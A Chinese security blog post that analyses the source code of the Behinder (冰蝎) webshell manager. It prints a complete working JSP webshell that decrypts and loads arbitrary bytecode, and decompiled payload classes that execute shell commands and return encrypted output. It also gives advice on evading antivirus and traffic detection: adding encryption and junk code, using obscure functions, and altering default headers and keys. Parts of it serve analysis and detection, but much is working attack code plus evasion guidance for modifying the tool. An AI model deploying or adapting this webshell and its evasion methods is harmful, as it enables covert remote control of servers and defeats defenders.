freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Behinder 冰蝎源码阅读与去特征浅析
2024-11-01 17:25:50

在攻防中,behinder被大范围使用,其加密性和隐蔽性均得到认可,但是同样也被各大杀毒厂商标记,本文从behinder的webshell到原理进行一个简单的解析,便于二开(如有错误,恳请指正)

一 冰蝎WebShell

Jsp

冰蝎通过继承classloader,并且重定义defineClass来实现加载任意字节码的目的,下面调用了字节码实例化的对象中的equals方法(之后会看到)

这里的默认密钥是rebeyond md5的前16位(已经成为被标记重点)

1730429906_672443d25fe980bbb3098.png!small?1730429906154

PHP

方式类似,最终执行了eval

1730430770_67244732a264f6bbc3e71.png!small?1730430770746

抓一段流量看一下

1730431187_672448d3cb62c40992394.png!small?1730431187672

1730431895_67244b970aec807e91600.png!small?1730431895186

webshell免杀的思路

1添加各种加解密,如rot13,凯撒密码,AES

2 增加垃圾字,混淆

3 寻找小众函数

推荐一个混淆网站

https://enphp.djunny.com/

二 behinder代码分析

doConnect

整体使用JavaFx进行图形化的实现

通过定位关键字的方式,可以找到这个位置

1730432925_67244f9d8cd89b02e6517.png!small?1730432925385

打开了MainWindow.fxml,找到对应的MainWindowCrontroller

1730439291_6724687b125c3f95e07b0.png!small?1730439291347

打开窗口时会自动调用initControls方法,上面是对一些标签的定义,看这个doConnect

1730439421_672468fde75c6d3c6eee2.png!small?1730439421913

调用到这里,生成了一个随机字符串,然后进入了echo方法发起连接和获取结果

1730439584_672469a06c84ab543e794.png!small?1730439584494

这里有两个主要的工作

getData()

doRequestAndParse()

将生成的随机字符串放到一个map中,进入getData()

1730439776_67246a60ad71ec5b69831.png!small?1730439776818

getData调用到utils里的getData,继续跟入这个Params.getParamedClass

1730441812_67247254584683e737725.png!small?1730441812245

这里又有两个方法

1730441796_67247244bc5557bc20248.png!small?1730441796483

首先是getTransProtocoleaClass,通过javassist创建了一个payload对象,并且返回了对应字节码

相关注释已经写到图片中,可以看到获取的是net.rebeyond.behinder.payload.java.Echo

1730441036_67246f4cc579095fb3f5f.png!small?1730441036671

getParamedClass方法看不太懂,先略过

回到getData()中,下面调用了Encrty对Echo这个字节码进行了加密

1730442519_6724751704e052feff23c.png!small?1730442518975

基本getData的流程就走完了,获取了Echo这个类字节码,进行了一些方法的操作,最后加密字节码

然后看看doRequestAndParse(),这个跟下去可以看到就是通过OkHttp库发送了post请求

1730442967_672476d7248c79bd0d468.png!small?1730442967211

1730443079_672477470a84f93049e78.png!small?1730443079114

之后shellservice获得响应并且解密,拿到里面的msg

1730447583_672488dfac66fb8b3231e.png!small?1730447583907

1730445187_67247f834473371e1aecd.png!small?1730445187303

最后返回doConnect,将msg和content进行比较,如果正确继续进行后续操作

1730446062_672482ee7467759c8e730.png!small?1730446062272

当然为了更好理解冰蝎的逻辑,我们可以改写webshell,拿到被控端具体的equals方法都做了什么

https://cloud.tencent.com/developer/article/2362139

这里可以直接用大佬的

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%@ page import="java.io.FileOutputStream" %>
<%!
    class U extends ClassLoader{
        U(ClassLoader c){
            super(c);
        }
        public Class g(byte []b)
        {
            return super.defineClass(b,0,b.length);
        }
    }
%>
<%
    if (request.getMethod().equals("POST")){
        String k="e45e329feb5d925b";
        session.putValue("u",k);
        Cipher c=Cipher.getInstance("AES");
        c.init(2,new SecretKeySpec(k.getBytes(),"AES"));

        String line = request.getReader().readLine();
        byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(line);
        byte[] b1 = c.doFinal(b);
        FileOutputStream fo = new FileOutputStream("D:\\TestData\\1.class");
        fo.write(b1);
        U u = new U(this.getClass().getClassLoader());
        Class clazz = u.g(b1);
        clazz.newInstance().equals(pageContext);

    }
%>

复制一份过来生成的class看看

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.uixmp;

import java.lang.reflect.Method;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class Fekxz {
    public static String content;
    public static String payloadBody;
    private Object Request;
    private Object Response;
    private Object Session;

    public Fekxz() {
        content = "";
        content = content + "O9CVU0Y3H1zpF69hQTar4vlhWLPJjwR23EzmqeUPTZJMts9FHbXQScssGEXuzk8Mmd2hxJuvZpMfP4nkrkrmhXnt2zTEyAur9OZGJL1gth5GfrEMtllQBmYFouoXECv94vfLFhPI7yhpvDXB9QfBaGJtpoMbn2uxAxTkPyByyIE0atXwdxFaJlhAMj7V4VAurE39Y13l26wzQf8VkEQN0gpOUpUV0y9qlqZn6Zop7e0IcqULhlfw2X9hci9xrFjeHcZU8zdlcMJfSE085iWpyBkg1ksUuYvdkViYUtSSnQzrUPI3GNt4QFeQI9Ui57Mgln";
        super();
    }

    public boolean equals(Object obj) {
        LinkedHashMap result = new LinkedHashMap();
        boolean var13 = false;

        Object so;
        Method write;
        Exception var15;
        label95: {
            try {
                var13 = true;
                this.fillContext(obj);
                result.put("status", "success");
                result.put("msg", content);
                var13 = false;
                break label95;
            } catch (Exception var19) {
                var15 = var19;
                result.put("msg", var15.getMessage());
                result.put("status", "success");
                var13 = false;
            } finally {
                if (var13) {
                    try {
                        so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                        write = so.getClass().getMethod("write", byte[].class);
                        write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
                        so.getClass().getMethod("flush").invoke(so);
                        so.getClass().getMethod("close").invoke(so);
                    } catch (Exception var17) {
                        Exception var14 = var17;
                        var14.printStackTrace();
                    }
                }

            }

            try {
                so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                write = so.getClass().getMethod("write", byte[].class);
                write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
                so.getClass().getMethod("flush").invoke(so);
                so.getClass().getMethod("close").invoke(so);
            } catch (Exception var16) {
                var15 = var16;
                var15.printStackTrace();
            }

            return true;
        }

        try {
            so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
            write = so.getClass().getMethod("write", byte[].class);
            write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
            so.getClass().getMethod("flush").invoke(so);
            so.getClass().getMethod("close").invoke(so);
        } catch (Exception var18) {
            var15 = var18;
            var15.printStackTrace();
        }

        return true;
    }

    private String buildJson(Map entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        String version = System.getProperty("java.version");
        sb.append("{");
        Iterator var5 = entity.keySet().iterator();

        while(var5.hasNext()) {
            String key = (String)var5.next();
            sb.append("\"" + key + "\":\"");
            String value = (String)entity.get(key);
            if (encode) {
                value = this.base64encode(value.getBytes());
            }

            sb.append(value);
            sb.append("\",");
        }

        if (sb.toString().endsWith(",")) {
            sb.setLength(sb.length() - 1);
        }

        sb.append("}");
        return sb.toString();
    }

    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf("PageContext") >= 0) {
            this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
            this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
            this.Session = obj.getClass().getMethod("getSession").invoke(obj);
        } else {
            Map objMap = (Map)obj;
            this.Session = objMap.get("session");
            this.Response = objMap.get("response");
            this.Request = objMap.get("request");
        }

        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
    }

    private String base64encode(byte[] data) throws Exception {
        String result = "";
        String version = System.getProperty("java.version");

        Class Base64;
        try {
            this.getClass();
            Base64 = Class.forName("java.util.Base64");
            Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
            result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
        } catch (Throwable var7) {
            this.getClass();
            Base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = Base64.newInstance();
            result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
            result = result.replace("\n", "").replace("\r", "");
        }

        return result;
    }

    private byte[] getMagic() throws Exception {
        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
        Random random = new Random();
        byte[] buf = new byte[magicNum];

        for(int i = 0; i < buf.length; ++i) {
            buf[i] = (byte)random.nextInt(256);
        }

        return buf;
    }

    private byte[] Encrypt(byte[] var1) throws Exception {
        String var2 = "e45e329feb5d925b";
        byte[] var3 = var2.getBytes("utf-8");
        SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
        Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
        var5.init(1, var4);
        byte[] var6 = var5.doFinal(var1);

        Class var7;
        try {
            var7 = Class.forName("java.util.Base64");
            Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
            var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
        } catch (Throwable var12) {
            var7 = Class.forName("sun.misc.BASE64Encoder");
            Object var10 = var7.newInstance();
            String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
            var11 = var11.replace("\n", "").replace("\r", "");
            var6 = var11.getBytes();
        }

        return var6;
    }
}

Ai帮忙写的

  • public boolean equals(Object obj):重写Object类的equals方法,用于比较对象。这个方法使用反射和异常处理来填充上下文,并构建一个JSON响应。它还尝试加密JSON响应并写入响应流。
  • private String buildJson(Map entity, boolean encode):构建一个JSON字符串,根据encode参数决定是否对值进行Base64编码。
  • private void fillContext(Object obj):根据传入的对象类型(可能是PageContext或Map),填充Request、Response和Session对象。
  • private String base64encode(byte[] data):使用Java 8的java.util.Base64或Java 7及以下的sun.misc.BASE64Encoder对数据进行Base64编码。
  • private byte[] getMagic():生成一个随机的“魔术”字节数组,可能用于加密操作。
  • private byte[] Encrypt(byte[] var1):使用AES加密算法对数据进行加密,并可能将其转换为Base64编码的字符串。

具体就是生成一个msg是content的响应,加密返回

连接流程:

1 生成随机字符串

2 使用javassist生成Echo类字节码

3 加密后发送到shell端

4 shell端进行解密,通过classload加载类并且实例化,调用equals

5 返回响应信息

6 对比返回的msg和content是否一致,一致则表明连接成功

Cmd

只看doConnect部分还是有些不是特别清晰,还可以看一些Cmd这块的流程

找到对应CmdViewController

1730450345_672493a9a3be50d315308.png!small?1730450345571

继续往下走还是走到ShellService,但是这次加载字节码的类变成了net.rebeyond.behinder.payload.java.Cmd

1730450380_672493cc5f7117be273aa.png!small?1730450380233

这次的加载的字节码文件

package com.rdisn.ilud.mgaaue;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.nio.charset.Charset;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class Pqwje {
    public static String cmd;
    public static String path;
    public static String whatever;
    private static String status = "success";
    private Object Request;
    private Object Response;
    private Object Session;

    public Pqwje() {
        cmd = "";
        cmd = cmd + "cd /d \"E:\\java\\apache-tomcat-9.0.91-windows-x64\\apache-tomcat-9.0.91\\bin\\\"&dir";
        path = "";
        path = path + "E:/java/apache-tomcat-9.0.91-windows-x64/apache-tomcat-9.0.91/bin/";
        super();
    }

    public boolean equals(Object obj) {
        HashMap result = new HashMap();
        boolean var13 = false;

        Object so;
        Method write;
        label95: {
            try {
                var13 = true;
                this.fillContext(obj);
                result.put("msg", this.RunCMD(cmd));
                result.put("status", status);
                var13 = false;
                break label95;
            } catch (Exception var19) {
                Exception var17 = var19;
                result.put("msg", var17.getMessage());
                result.put("status", "fail");
                var13 = false;
            } finally {
                if (var13) {
                    try {
                        so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                        write = so.getClass().getMethod("write", byte[].class);
                        write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
                        so.getClass().getMethod("flush").invoke(so);
                        so.getClass().getMethod("close").invoke(so);
                    } catch (Exception var17) {
                    }
                }

            }

            try {
                so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                write = so.getClass().getMethod("write", byte[].class);
                write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
                so.getClass().getMethod("flush").invoke(so);
                so.getClass().getMethod("close").invoke(so);
            } catch (Exception var16) {
            }

            return true;
        }

        try {
            so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
            write = so.getClass().getMethod("write", byte[].class);
            write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
            so.getClass().getMethod("flush").invoke(so);
            so.getClass().getMethod("close").invoke(so);
        } catch (Exception var18) {
        }

        return true;
    }

    private String RunCMD(String cmd) throws Exception {
        Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
        String result = "";
        if (cmd != null && cmd.length() > 0) {
            Process p;
            if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
                p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
            } else {
                p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
            }

            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), osCharset));

            String disr;
            for(disr = br.readLine(); disr != null; disr = br.readLine()) {
                result = result + disr + "\n";
            }

            br = new BufferedReader(new InputStreamReader(p.getErrorStream(), osCharset));

            for(disr = br.readLine(); disr != null; disr = br.readLine()) {
                result = result + disr + "\n";
            }
        }

        return result;
    }

    private String base64encode(byte[] data) throws Exception {
        String result = "";
        String version = System.getProperty("java.version");

        Class Base64;
        try {
            this.getClass();
            Base64 = Class.forName("java.util.Base64");
            Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
            result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
        } catch (Throwable var7) {
            this.getClass();
            Base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = Base64.newInstance();
            result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
            result = result.replace("\n", "").replace("\r", "");
        }

        return result;
    }

    private String buildJson(Map entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        String version = System.getProperty("java.version");
        sb.append("{");
        Iterator var5 = entity.keySet().iterator();

        while(var5.hasNext()) {
            String key = (String)var5.next();
            sb.append("\"" + key + "\":\"");
            String value = ((String)entity.get(key)).toString();
            if (encode) {
                Class Base64;
                Object Encoder;
                if (version.compareTo("1.9") >= 0) {
                    this.getClass();
                    Base64 = Class.forName("java.util.Base64");
                    Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
                    value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
                } else {
                    this.getClass();
                    Base64 = Class.forName("sun.misc.BASE64Encoder");
                    Encoder = Base64.newInstance();
                    value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
                    value = value.replace("\n", "").replace("\r", "");
                }
            }

            sb.append(value);
            sb.append("\",");
        }

        if (sb.toString().endsWith(",")) {
            sb.setLength(sb.length() - 1);
        }

        sb.append("}");
        return sb.toString();
    }

    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf("PageContext") >= 0) {
            this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
            this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
            this.Session = obj.getClass().getMethod("getSession").invoke(obj);
        } else {
            Map objMap = (Map)obj;
            this.Session = objMap.get("session");
            this.Response = objMap.get("response");
            this.Request = objMap.get("request");
        }

        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
    }

    private byte[] getMagic() throws Exception {
        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
        Random random = new Random();
        byte[] buf = new byte[magicNum];

        for(int i = 0; i < buf.length; ++i) {
            buf[i] = (byte)random.nextInt(256);
        }

        return buf;
    }

    private byte[] Encrypt(byte[] var1) throws Exception {
        String var2 = "e45e329feb5d925b";
        byte[] var3 = var2.getBytes("utf-8");
        SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
        Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
        var5.init(1, var4);
        byte[] var6 = var5.doFinal(var1);

        Class var7;
        try {
            var7 = Class.forName("java.util.Base64");
            Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
            var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
        } catch (Throwable var12) {
            var7 = Class.forName("sun.misc.BASE64Encoder");
            Object var10 = var7.newInstance();
            String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
            var11 = var11.replace("\n", "").replace("\r", "");
            var6 = var11.getBytes();
        }

        return var6;
    }
}

msg 解码

1730450829_6724958d788c2ee509bd5.png!small?1730450829302

命令执行流程

1 生成随机字符串

2 使用javassist生成Cmd类字节码

3 加密后发送到shell端

4 被控端进行解密,通过classload加载类并且实例化,调用equals

5 被控端将执行结果base64,放到msg中

6 拿到响应信息,解码输出

之后可以对整体的加密,和解密流程多套几层,但是花的时间较长,就先不搞了

三 去特征

Accept+userAgents

accept

这个特征还是比较明显的

application/json, text/javascript, */*; q=0.01

1730451374_672497ae15ce4b1ba6865.png!small?1730451373920

找到对应修改即可

1730451471_6724980fcfdaf9fd8ef39.png!small?1730451471900

还有就是内置的十余种Agent字段,均可自定义修改

流量长度+默认密钥

在做命令执行时,冰蝎的长度基本在10000以上,可以这种长度较长的流量进行默认密钥的AES128 ECB解密

1730451988_67249a14384d703fcdcde.png!small?1730451988322

参考文章:

https://cloud.tencent.com/developer/article/2362139

https://blog.csdn.net/2301_80064376/article/details/140279178

# 渗透测试 # 网络安全 # web安全 # 系统安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录